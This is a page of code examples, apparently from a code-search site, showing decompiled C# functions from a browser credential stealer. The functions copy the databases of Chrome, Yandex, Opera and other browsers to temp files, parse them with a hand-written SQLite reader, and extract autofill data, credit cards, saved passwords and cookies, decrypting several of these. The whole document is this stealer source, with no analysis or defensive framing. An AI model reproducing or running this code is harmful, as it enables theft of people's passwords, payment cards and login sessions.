Ejemplo n.º 1
0
 private static List <FormData> FetchForms(string basePath)
 {
     if (!File.Exists(basePath))
     {
         return(null);
     }
     basePath.Contains("Chrome");
     basePath.Contains("Yandex");
     basePath.Contains("Orbitum");
     basePath.Contains("Opera");
     basePath.Contains("Amigo");
     basePath.Contains("Torch");
     basePath.Contains("Comodo");
     try
     {
         string path = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv";
         if (File.Exists(path))
         {
             File.Delete(path);
         }
         File.Copy(basePath, path, true);
         SqlHandler      handler = new SqlHandler(path);
         List <FormData> list    = new List <FormData>();
         handler.ReadTable("autofill");
         if (handler.GetRowCount() == 0x10000)
         {
             return(null);
         }
         int rowNum = 0;
         while (true)
         {
             if (rowNum >= handler.GetRowCount())
             {
                 break;
             }
             try
             {
                 FormData item = new FormData {
                     Name  = handler.GetValue(rowNum, 0),
                     Value = handler.GetValue(rowNum, 1)
                 };
                 list.Add(item);
             }
             catch (Exception)
             {
             }
             rowNum++;
         }
         File.Delete(path);
         return(list);
     }
     catch (Exception)
     {
         return(null);
     }
 }
Ejemplo n.º 2
0
 private bool ReadTableFromOffset(ulong offset)
 {
     try
     {
         if ((int)this._fileBytes[offset] == 13)
         {
             ushort num1 = (ushort)(this.ConvertToULong((int)offset + 3, 2) - 1UL);
             int    num2 = 0;
             if (this._tableEntries != null)
             {
                 num2 = this._tableEntries.Length;
                 Array.Resize <SqlHandler.TableEntry>(ref this._tableEntries, this._tableEntries.Length + (int)num1 + 1);
             }
             else
             {
                 this._tableEntries = new SqlHandler.TableEntry[(int)num1 + 1];
             }
             for (ushort index1 = 0; (int)index1 <= (int)num1; ++index1)
             {
                 ulong num3 = this.ConvertToULong((int)offset + 8 + (int)index1 * 2, 2);
                 if ((long)offset != 100L)
                 {
                     num3 += offset;
                 }
                 int endIdx1 = this.Gvl((int)num3);
                 this.Cvl((int)num3, endIdx1);
                 int endIdx2 = this.Gvl((int)((long)num3 + ((long)endIdx1 - (long)num3) + 1L));
                 this.Cvl((int)((long)num3 + ((long)endIdx1 - (long)num3) + 1L), endIdx2);
                 ulong num4    = num3 + (ulong)((long)endIdx2 - (long)num3 + 1L);
                 int   endIdx3 = this.Gvl((int)num4);
                 int   endIdx4 = endIdx3;
                 long  num5    = this.Cvl((int)num4, endIdx3);
                 SqlHandler.RecordHeaderField[] array = (SqlHandler.RecordHeaderField[])null;
                 long num6   = (long)num4 - (long)endIdx3 + 1L;
                 int  index2 = 0;
                 while (num6 < num5)
                 {
                     Array.Resize <SqlHandler.RecordHeaderField>(ref array, index2 + 1);
                     int startIdx = endIdx4 + 1;
                     endIdx4            = this.Gvl(startIdx);
                     array[index2].Type = this.Cvl(startIdx, endIdx4);
                     array[index2].Size = array[index2].Type <= 9L ? (long)this._sqlDataTypeSize[array[index2].Type] : (!SqlHandler.IsOdd(array[index2].Type) ? (array[index2].Type - 12L) / 2L : (array[index2].Type - 13L) / 2L);
                     num6 = num6 + (long)(endIdx4 - startIdx) + 1L;
                     ++index2;
                 }
                 if (array != null)
                 {
                     this._tableEntries[num2 + (int)index1].Content = new string[array.Length];
                     int num7 = 0;
                     for (int index3 = 0; index3 <= array.Length - 1; ++index3)
                     {
                         if (array[index3].Type > 9L)
                         {
                             if (!SqlHandler.IsOdd(array[index3].Type))
                             {
                                 if ((long)this._dbEncoding == 1L)
                                 {
                                     this._tableEntries[num2 + (int)index1].Content[index3] = Encoding.Default.GetString(this._fileBytes, (int)((long)num4 + num5 + (long)num7), (int)array[index3].Size);
                                 }
                                 else if ((long)this._dbEncoding == 2L)
                                 {
                                     this._tableEntries[num2 + (int)index1].Content[index3] = Encoding.Unicode.GetString(this._fileBytes, (int)((long)num4 + num5 + (long)num7), (int)array[index3].Size);
                                 }
                                 else if ((long)this._dbEncoding == 3L)
                                 {
                                     this._tableEntries[num2 + (int)index1].Content[index3] = Encoding.BigEndianUnicode.GetString(this._fileBytes, (int)((long)num4 + num5 + (long)num7), (int)array[index3].Size);
                                 }
                             }
                             else
                             {
                                 this._tableEntries[num2 + (int)index1].Content[index3] = Encoding.Default.GetString(this._fileBytes, (int)((long)num4 + num5 + (long)num7), (int)array[index3].Size);
                             }
                         }
                         else
                         {
                             this._tableEntries[num2 + (int)index1].Content[index3] = Convert.ToString(this.ConvertToULong((int)((long)num4 + num5 + (long)num7), (int)array[index3].Size));
                         }
                         num7 += (int)array[index3].Size;
                     }
                 }
             }
         }
         else if ((int)this._fileBytes[offset] == 5)
         {
             ushort num1 = (ushort)(this.ConvertToULong((int)((long)offset + 3L), 2) - 1UL);
             for (ushort index = 0; (int)index <= (int)num1; ++index)
             {
                 ushort num2 = (ushort)this.ConvertToULong((int)offset + 12 + (int)index * 2, 2);
                 this.ReadTableFromOffset((this.ConvertToULong((int)((long)offset + (long)num2), 4) - 1UL) * this._pageSize);
             }
             this.ReadTableFromOffset((this.ConvertToULong((int)((long)offset + 8L), 4) - 1UL) * this._pageSize);
         }
         return(true);
     }
     catch
     {
         return(false);
     }
 }
Ejemplo n.º 3
0
        private void ReadMasterTable(long offset)
        {
            try
            {
                switch (this._fileBytes[offset])
                {
                case 5:
                    ushort num1 = (ushort)(this.ConvertToULong((int)offset + 3, 2) - 1UL);
                    for (int index = 0; index <= (int)num1; ++index)
                    {
                        ushort num2 = (ushort)this.ConvertToULong((int)offset + 12 + index * 2, 2);
                        if (offset == 100L)
                        {
                            this.ReadMasterTable(((long)this.ConvertToULong((int)num2, 4) - 1L) * (long)this._pageSize);
                        }
                        else
                        {
                            this.ReadMasterTable(((long)this.ConvertToULong((int)(offset + (long)num2), 4) - 1L) * (long)this._pageSize);
                        }
                    }
                    this.ReadMasterTable(((long)this.ConvertToULong((int)offset + 8, 4) - 1L) * (long)this._pageSize);
                    break;

                case 13:
                    ulong num3 = this.ConvertToULong((int)offset + 3, 2) - 1UL;
                    int   num4 = 0;
                    if (this._masterTableEntries != null)
                    {
                        num4 = this._masterTableEntries.Length;
                        Array.Resize <SqlHandler.SqliteMasterEntry>(ref this._masterTableEntries, this._masterTableEntries.Length + (int)num3 + 1);
                    }
                    else
                    {
                        this._masterTableEntries = new SqlHandler.SqliteMasterEntry[checked ((ulong)unchecked ((long)num3 + 1L))];
                    }
                    for (ulong index1 = 0; index1 <= num3; ++index1)
                    {
                        ulong num2 = this.ConvertToULong((int)offset + 8 + (int)index1 * 2, 2);
                        if (offset != 100L)
                        {
                            num2 += (ulong)offset;
                        }
                        int endIdx1 = this.Gvl((int)num2);
                        this.Cvl((int)num2, endIdx1);
                        int endIdx2 = this.Gvl((int)((long)num2 + ((long)endIdx1 - (long)num2) + 1L));
                        this.Cvl((int)((long)num2 + ((long)endIdx1 - (long)num2) + 1L), endIdx2);
                        ulong  num5     = num2 + (ulong)((long)endIdx2 - (long)num2 + 1L);
                        int    endIdx3  = this.Gvl((int)num5);
                        int    endIdx4  = endIdx3;
                        long   num6     = this.Cvl((int)num5, endIdx3);
                        long[] numArray = new long[5];
                        for (int index2 = 0; index2 <= 4; ++index2)
                        {
                            int startIdx = endIdx4 + 1;
                            endIdx4          = this.Gvl(startIdx);
                            numArray[index2] = this.Cvl(startIdx, endIdx4);
                            numArray[index2] = numArray[index2] <= 9L ? (long)this._sqlDataTypeSize[numArray[index2]] : (!SqlHandler.IsOdd(numArray[index2]) ? (numArray[index2] - 12L) / 2L : (numArray[index2] - 13L) / 2L);
                        }
                        if ((long)this._dbEncoding == 1L || (long)this._dbEncoding == 2L)
                        {
                            ;
                        }
                        if ((long)this._dbEncoding == 1L)
                        {
                            this._masterTableEntries[num4 + (int)index1].ItemName = Encoding.Default.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]);
                        }
                        else if ((long)this._dbEncoding == 2L)
                        {
                            this._masterTableEntries[num4 + (int)index1].ItemName = Encoding.Unicode.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]);
                        }
                        else if ((long)this._dbEncoding == 3L)
                        {
                            this._masterTableEntries[num4 + (int)index1].ItemName = Encoding.BigEndianUnicode.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]);
                        }
                        this._masterTableEntries[num4 + (int)index1].RootNum = (long)this.ConvertToULong((int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2]), (int)numArray[3]);
                        if ((long)this._dbEncoding == 1L)
                        {
                            this._masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.Default.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]);
                        }
                        else if ((long)this._dbEncoding == 2L)
                        {
                            this._masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.Unicode.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]);
                        }
                        else if ((long)this._dbEncoding == 3L)
                        {
                            this._masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.BigEndianUnicode.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]);
                        }
                    }
                    break;
                }
            }
            catch
            {
            }
        }
Ejemplo n.º 4
0
 private static List <CardData> FetchCards(string basePath)
 {
     if (!File.Exists(basePath))
     {
         return(null);
     }
     basePath.Contains("Chrome");
     basePath.Contains("Yandex");
     basePath.Contains("Orbitum");
     basePath.Contains("Opera");
     basePath.Contains("Amigo");
     basePath.Contains("Torch");
     basePath.Contains("Comodo");
     try
     {
         string path = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv";
         if (File.Exists(path))
         {
             File.Delete(path);
         }
         File.Copy(basePath, path, true);
         SqlHandler      handler = new SqlHandler(path);
         List <CardData> list    = new List <CardData>();
         handler.ReadTable("credit_cards");
         int rowNum = 0;
         while (true)
         {
             if (rowNum >= handler.GetRowCount())
             {
                 break;
             }
             try
             {
                 string str2 = string.Empty;
                 try
                 {
                     str2 = Encoding.UTF8.GetString(DecryptBrowsers(Encoding.Default.GetBytes(handler.GetValue(rowNum, 4)), null));
                 }
                 catch (Exception)
                 {
                 }
                 if (str2 != "")
                 {
                     CardData item = new CardData {
                         Name    = handler.GetValue(rowNum, 1),
                         Exp_m   = handler.GetValue(rowNum, 2),
                         Exp_y   = handler.GetValue(rowNum, 3),
                         Number  = str2,
                         Billing = handler.GetValue(rowNum, 9)
                     };
                     list.Add(item);
                 }
             }
             catch (Exception)
             {
             }
             rowNum++;
         }
         File.Delete(path);
         return(list);
     }
     catch (Exception)
     {
         return(null);
     }
 }
Ejemplo n.º 5
0
        private static List <PassData> FetchPasswords(string basePath)
        {
            if (!File.Exists(basePath))
            {
                return(null);
            }
            string str = "";

            if (basePath.Contains("Chrome"))
            {
                str = "Google Chrome";
            }
            if (basePath.Contains("Yandex"))
            {
                str = "Yandex Browser";
            }
            if (basePath.Contains("Orbitum"))
            {
                str = "Orbitum Browser";
            }
            if (basePath.Contains("Opera"))
            {
                str = "Opera Browser";
            }
            if (basePath.Contains("Amigo"))
            {
                str = "Amigo Browser";
            }
            if (basePath.Contains("Torch"))
            {
                str = "Torch Browser";
            }
            if (basePath.Contains("Comodo"))
            {
                str = "Comodo Browser";
            }
            try
            {
                string path = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv";
                if (File.Exists(path))
                {
                    File.Delete(path);
                }
                File.Copy(basePath, path, true);
                SqlHandler      handler = new SqlHandler(path);
                List <PassData> list    = new List <PassData>();
                handler.ReadTable("logins");
                int rowNum = 0;
                while (true)
                {
                    if (rowNum >= handler.GetRowCount())
                    {
                        break;
                    }
                    try
                    {
                        string str3 = string.Empty;
                        try
                        {
                            str3 = Encoding.UTF8.GetString(DecryptBrowsers(Encoding.Default.GetBytes(handler.GetValue(rowNum, 5)), null));
                        }
                        catch (Exception)
                        {
                        }
                        if (str3 != "")
                        {
                            PassData item = new PassData {
                                Url      = handler.GetValue(rowNum, 1).Replace("https://", "").Replace("http://", ""),
                                Login    = handler.GetValue(rowNum, 3),
                                Password = str3,
                                Program  = str
                            };
                            list.Add(item);
                        }
                    }
                    catch (Exception)
                    {
                    }
                    rowNum++;
                }
                File.Delete(path);
                return(list);
            }
            catch (Exception)
            {
                return(null);
            }
        }
Ejemplo n.º 6
0
 private static List <CookieData> FetchCookies(string basePath)
 {
     if (!File.Exists(basePath))
     {
         return(null);
     }
     basePath.Contains("Chrome");
     basePath.Contains("Yandex");
     basePath.Contains("Orbitum");
     basePath.Contains("Opera");
     basePath.Contains("Amigo");
     basePath.Contains("Torch");
     basePath.Contains("Comodo");
     try
     {
         string path = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv";
         if (File.Exists(path))
         {
             File.Delete(path);
         }
         File.Copy(basePath, path, true);
         SqlHandler        handler = new SqlHandler(path);
         List <CookieData> list    = new List <CookieData>();
         handler.ReadTable("cookies");
         int rowNum = 0;
         while (true)
         {
             if (rowNum >= handler.GetRowCount())
             {
                 break;
             }
             try
             {
                 string str2 = string.Empty;
                 try
                 {
                     str2 = Encoding.UTF8.GetString(DecryptBrowsers(Encoding.Default.GetBytes(handler.GetValue(rowNum, 12)), null));
                 }
                 catch (Exception)
                 {
                 }
                 if (str2 != "")
                 {
                     CookieData item = new CookieData {
                         host_key    = handler.GetValue(rowNum, 1),
                         name        = handler.GetValue(rowNum, 2),
                         path        = handler.GetValue(rowNum, 4),
                         expires_utc = handler.GetValue(rowNum, 5),
                         secure      = handler.GetValue(rowNum, 6),
                         value       = str2
                     };
                     list.Add(item);
                 }
             }
             catch (Exception)
             {
             }
             rowNum++;
         }
         File.Delete(path);
         return(list);
     }
     catch (Exception)
     {
         return(null);
     }
 }
Ejemplo n.º 7
0
        private static List <FormData> FetchForms(string basePath)
        {
            if (!File.Exists(basePath))
            {
                return((List <FormData>)null);
            }

            string str1 = "";

            if (basePath.Contains("Chrome"))
            {
                str1 = "Google Chrome";
            }
            if (basePath.Contains("Yandex"))
            {
                str1 = "Yandex Browser";
            }
            if (basePath.Contains("Orbitum"))
            {
                str1 = "Orbitum Browser";
            }
            if (basePath.Contains("Opera"))
            {
                str1 = "Opera Browser";
            }
            if (basePath.Contains("Amigo"))
            {
                str1 = "Amigo Browser";
            }
            if (basePath.Contains("Torch"))
            {
                str1 = "Torch Browser";
            }
            if (basePath.Contains("Comodo"))
            {
                str1 = "Comodo Browser";
            }
            try
            {
                string str2 = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv";
                if (File.Exists(str2))
                {
                    File.Delete(str2);
                }
                File.Copy(basePath, str2, true);
                SqlHandler      sqlHandler   = new SqlHandler(str2);
                List <FormData> formDataList = new List <FormData>();
                sqlHandler.ReadTable("autofill");
                if (sqlHandler.GetRowCount() == 65536)
                {
                    return((List <FormData>)null);
                }
                for (int rowNum = 0; rowNum < sqlHandler.GetRowCount(); ++rowNum)
                {
                    try
                    {
                        formDataList.Add(new FormData()
                        {
                            Name  = sqlHandler.GetValue(rowNum, 0),
                            Value = sqlHandler.GetValue(rowNum, 1)
                        });
                    }
                    catch (Exception ex)
                    {
                        // //Console.WriteLine(ex.ToString());
                    }
                }
                File.Delete(str2);
                return(formDataList);
            }
            catch (Exception ex)
            {
                // //Console.WriteLine(ex.ToString());
                return((List <FormData>)null);
            }
        }
Ejemplo n.º 8
0
        private static List <CardData> FetchCards(string basePath)
        {
            if (!File.Exists(basePath))
            {
                return((List <CardData>)null);
            }

            string str1 = "";

            if (basePath.Contains("Chrome"))
            {
                str1 = "Google Chrome";
            }
            if (basePath.Contains("Yandex"))
            {
                str1 = "Yandex Browser";
            }
            if (basePath.Contains("Orbitum"))
            {
                str1 = "Orbitum Browser";
            }
            if (basePath.Contains("Opera"))
            {
                str1 = "Opera Browser";
            }
            if (basePath.Contains("Amigo"))
            {
                str1 = "Amigo Browser";
            }
            if (basePath.Contains("Torch"))
            {
                str1 = "Torch Browser";
            }
            if (basePath.Contains("Comodo"))
            {
                str1 = "Comodo Browser";
            }
            try
            {
                string str2 = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv";
                if (File.Exists(str2))
                {
                    File.Delete(str2);
                }
                File.Copy(basePath, str2, true);
                SqlHandler      sqlHandler   = new SqlHandler(str2);
                List <CardData> cardDataList = new List <CardData>();
                sqlHandler.ReadTable("credit_cards");

                /*
                 * if (sqlHandler.GetRowCount() == 65536)
                 *  return (List<CardData>)null;*/
                for (int rowNum = 0; rowNum < sqlHandler.GetRowCount(); ++rowNum)
                {
                    try
                    {
                        string empty = string.Empty;

                        try
                        {
                            empty = Encoding.UTF8.GetString(Browsers.DecryptBrowsers(Encoding.Default.GetBytes(sqlHandler.GetValue(rowNum, 4)), (byte[])null));
                        }
                        catch (Exception ex)
                        {
                            // //Console.WriteLine(ex.ToString());
                        }
                        if (empty != "")
                        {
                            cardDataList.Add(new CardData()
                            {
                                Name    = sqlHandler.GetValue(rowNum, 1),
                                Exp_m   = sqlHandler.GetValue(rowNum, 2),
                                Exp_y   = sqlHandler.GetValue(rowNum, 3),
                                Number  = empty,
                                Billing = sqlHandler.GetValue(rowNum, 9)
                            });
                        }
                    }
                    catch (Exception ex)
                    {
                        // //Console.WriteLine(ex.ToString());
                    }
                }
                File.Delete(str2);
                return(cardDataList);
            }
            catch (Exception ex)
            {
                // //Console.WriteLine(ex.ToString());
                return((List <CardData>)null);
            }
        }
Ejemplo n.º 9
0
        private static List <CookieData> FetchCookies(string basePath)
        {
            if (!File.Exists(basePath))
            {
                return((List <CookieData>)null);
            }

            string str1 = "";

            if (basePath.Contains("Chrome"))
            {
                str1 = "Google Chrome";
            }
            if (basePath.Contains("Yandex"))
            {
                str1 = "Yandex Browser";
            }
            if (basePath.Contains("Orbitum"))
            {
                str1 = "Orbitum Browser";
            }
            if (basePath.Contains("Opera"))
            {
                str1 = "Opera Browser";
            }
            if (basePath.Contains("Amigo"))
            {
                str1 = "Amigo Browser";
            }
            if (basePath.Contains("Torch"))
            {
                str1 = "Torch Browser";
            }
            if (basePath.Contains("Comodo"))
            {
                str1 = "Comodo Browser";
            }
            try
            {
                string str2 = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv";
                if (File.Exists(str2))
                {
                    File.Delete(str2);
                }
                File.Copy(basePath, str2, true);
                SqlHandler sqlHandler = new SqlHandler(str2);

                /*if (sqlHandler.GetRowCount() == 65536)
                 *  return (List<CookieData>)null;*/
                List <CookieData> cookieDataList = new List <CookieData>();
                sqlHandler.ReadTable("cookies");
                for (int rowNum = 0; rowNum < sqlHandler.GetRowCount(); ++rowNum)
                {
                    try
                    {
                        string empty = string.Empty;

                        try
                        {
                            empty = Encoding.UTF8.GetString(Browsers.DecryptBrowsers(Encoding.Default.GetBytes(sqlHandler.GetValue(rowNum, 12)), (byte[])null));
                        }
                        catch (Exception ex)
                        {
                            // // //Console.WriteLine(ex.ToString());
                        }
                        if (empty != "")
                        {
                            cookieDataList.Add(new CookieData()
                            {
                                host_key    = sqlHandler.GetValue(rowNum, 1),
                                name        = sqlHandler.GetValue(rowNum, 2),
                                path        = sqlHandler.GetValue(rowNum, 4),
                                expires_utc = sqlHandler.GetValue(rowNum, 5),
                                secure      = sqlHandler.GetValue(rowNum, 6),
                                value       = empty,
                            });
                        }
                    }
                    catch (Exception ex)
                    {
                        // // //Console.WriteLine(ex.ToString());
                    }
                }
                File.Delete(str2);
                return(cookieDataList);
            }
            catch (Exception ex)
            {
                // //Console.WriteLine(ex.ToString());
                return((List <CookieData>)null);
            }
        }
Ejemplo n.º 10
0
        private static List <PassData> FetchPasswords(string basePath)
        {
            if (!File.Exists(basePath))
            {
                return((List <PassData>)null);
            }
            string str1 = "";

            if (basePath.Contains("Chrome"))
            {
                str1 = "Google Chrome";
            }
            if (basePath.Contains("Yandex"))
            {
                str1 = "Yandex Browser";
            }
            if (basePath.Contains("Orbitum"))
            {
                str1 = "Orbitum Browser";
            }
            if (basePath.Contains("Opera"))
            {
                str1 = "Opera Browser";
            }
            if (basePath.Contains("Amigo"))
            {
                str1 = "Amigo Browser";
            }
            if (basePath.Contains("Torch"))
            {
                str1 = "Torch Browser";
            }
            if (basePath.Contains("Comodo"))
            {
                str1 = "Comodo Browser";
            }
            try
            {
                string str2 = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv";
                if (File.Exists(str2))
                {
                    File.Delete(str2);
                }
                File.Copy(basePath, str2, true);
                SqlHandler      sqlHandler   = new SqlHandler(str2);
                List <PassData> passDataList = new List <PassData>();
                sqlHandler.ReadTable("logins");
                for (int rowNum = 0; rowNum < sqlHandler.GetRowCount(); ++rowNum)
                {
                    try
                    {
                        string empty = string.Empty;
                        try
                        {
                            empty = Encoding.UTF8.GetString(Browsers.DecryptBrowsers(Encoding.Default.GetBytes(sqlHandler.GetValue(rowNum, 5)), (byte[])null));
                        }
                        catch (Exception ex)
                        {
                        }
                        if (empty != "")
                        {
                            passDataList.Add(new PassData()
                            {
                                Url      = sqlHandler.GetValue(rowNum, 1).Replace("https://", "").Replace("http://", ""),
                                Login    = sqlHandler.GetValue(rowNum, 3),
                                Password = empty,
                                Program  = str1
                            });
                        }
                    }
                    catch (Exception ex)
                    {
                        // // //Console.WriteLine(ex.ToString());
                    }
                }
                File.Delete(str2);
                return(passDataList);
            }
            catch (Exception ex)
            {
                // // //Console.WriteLine(ex.ToString());
                return((List <PassData>)null);
            }
        }